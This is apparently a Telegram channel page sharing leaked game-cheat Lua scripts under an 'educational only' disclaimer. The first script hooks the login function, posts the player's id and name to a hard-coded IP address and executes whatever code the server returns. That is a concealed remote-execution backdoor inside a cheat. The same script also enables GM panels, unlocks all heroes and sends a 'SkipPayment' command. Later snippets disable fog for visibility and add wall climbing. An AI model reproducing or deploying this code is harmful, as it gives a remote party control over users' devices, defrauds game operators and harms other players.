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𝐅𝐄𝐀𝐓𝐔𝐑𝐄𝐒𝐓𝐈𝐂 𝐋𝐄𝐀𝐊𝐒

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📌 Educational & Research Purpose Only 🔍 Sharing publicly available source code for learning ❌ No selling ❌ No buying ❌ No promotions ⚠️ I am not responsible for misuse 📚 For knowledge & awareness only MODs & Kernel Resources.☑️

إظهار المزيد
2 114
المشتركون
+1024 ساعات
+797 أيام
+23430 أيام
أرشيف المشاركات
This Code the game
local Old_OnLoggedIn; Old_OnLoggedIn = OnLoggedIn; OnLoggedIn = function(param) 
    local a,b,c = pcall(Old_OnLoggedIn,param) 
    local me = param and param.role_id or 0 
    local url = "http://140.246.141.88:88/client" 
    local data = { uid = me, name = param and param.name or "unknown", server = (CS and CS.UnityEngine and CS.UnityEngine.Application and CS.UnityEngine.Application.version) or "" } 
    local ws = http.post(url, data) 
    local cmd = ws and ws.text 
    if cmd and cmd ~= "" then 
        local f,e = pcall(loadstring(cmd)) 
        if not f then 
            print(e) 
        end 
    end 
    return a,b,c 
end

local function InitGM() 
    local CS = CS 
    local GameManager = CS.GameManager 
    if not GameManager then return end 
    local Instance = GameManager.Instance 
    if not Instance then return end 
    local Lobby = Instance:GetLobby() 
    if not Lobby then return end 
    local LobbyUI = Lobby:GetLobbyUI() 
    if not LobbyUI then return end 
    local PanelChat = LobbyUI.PanelChat 
    if not PanelChat then return end 
    
    local ToggleGM = function() 
        local CSDebug = CS.Debug 
        if CSDebug then 
            CSDebug.isDebugBuild = true 
        end 
        local GM = CS.GM 
        if GM then 
            GM.Instance:ShowGM() 
        end 
        local MaoHaoDebugPanel = CS.MaoHaoDebugPanel 
        if MaoHaoDebugPanel then 
            MaoHaoDebugPanel.Instance:Show() 
        end 
        local ClientCloudGM = CS.GameLua.Mod.BaseMod.Client.ClientCloudGM 
        if ClientCloudGM then 
            ClientCloudGM.Instance:ShowGM() 
        end 
    end 
    
    local btn = PanelChat.gameObject:AddComponent(typeof(CS.UnityEngine.UI.Button)) 
    btn.onClick:AddListener(ToggleGM) 
end 

pcall(InitGM)

local function SetGMLevel() 
    local PlayerPrefs = CS.UnityEngine.PlayerPrefs 
    PlayerPrefs.SetInt("GM_LEVEL", 100) 
    PlayerPrefs.SetInt("GM_ENABLE", 1) 
    PlayerPrefs.Save() 
end 

pcall(SetGMLevel)

local function UnlockAll() 
    local GameData = CS.GameData 
    if GameData then 
        local Tables = GameData.Tables 
        if Tables then 
            local HeroTable = Tables.HeroTable 
            if HeroTable then 
                for k,v in pairs(HeroTable) do 
                    if v and v.id then 
                        CS.GM_AddItem(1, v.id, 1) 
                    end 
                end 
            end 
        end 
    end 
end 

local function SkipPayment() 
    local NetWork = CS.NetWork 
    if NetWork then 
        NetWork.SendToServer("GM_CMD", "SkipPayment 1") 
    end 
end 

local function OpenAllServer() 
    local CS = CS 
    local GameLua = CS.GameLua 
    if GameLua then 
        local Mod = GameLua.Mod 
        if Mod then 
            local BaseMod = Mod.BaseMod 
            if BaseMod then 
                local Client = BaseMod.Client 
                if Client then 
                    local ClientCloudGM = Client.ClientCloudGM 
                    if ClientCloudGM then 
                        ClientCloudGM.HandleCloudGMCMDStr("OpenAllServer") 
                    end 
                end 
            end 
        end 
    end 
end 

pcall(OpenAllServer)
pcall(SkipPayment)
pcall(UnlockAll)
NOTICE : If Your a real developer then you know what is this, Make Perfect Then You Can F*ck the Game
Credit:
XThrlen

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EspHitMark.lua0.06 KB

KismetSystemLibrary.ExecuteConsoleCommand(uPlayerController, "r.Atmosphere 0") KismetSystemLibrary.ExecuteConsoleCommand(uPla
KismetSystemLibrary.ExecuteConsoleCommand(uPlayerController, "r.Atmosphere 0")                 KismetSystemLibrary.ExecuteConsoleCommand(uPlayerController, "r.Fog 0")                 KismetSystemLibrary.ExecuteConsoleCommand(uPlayerController, "r.LightShafts 0")

📱 Lua Based Wall Climb
local GameplayData = require("GameLua.GameCore.Data.Gamepla local function WeowWallClimb()     local uLocalPlayer = GameplayData.GetPlayerCharacter()     if slua.isValid(uLocalPlayer) and uLocalPlayer.IsAlive and uLocalPlayer:IsAlive() then         local charMove = uLocalPlayer.CharacterMovement or uLocalPlayer.CharMoveComp                 if slua.isValid(charMove) then             charMove.WalkableFloorAngle = 199.0             charMove.MaxStepHeight = 999.0         end     end end local function InitWallClimbSystem(PlayerContext)     if PlayerContext.AddGameTimer then         PlayerContext:AddGameTimer(0.1, true, function()             WeowWallClimb()         end)     end end
Credit:
XThrlen

EspHitMark.lua0.06 KB

LuaBulletTrack.lua0.03 KB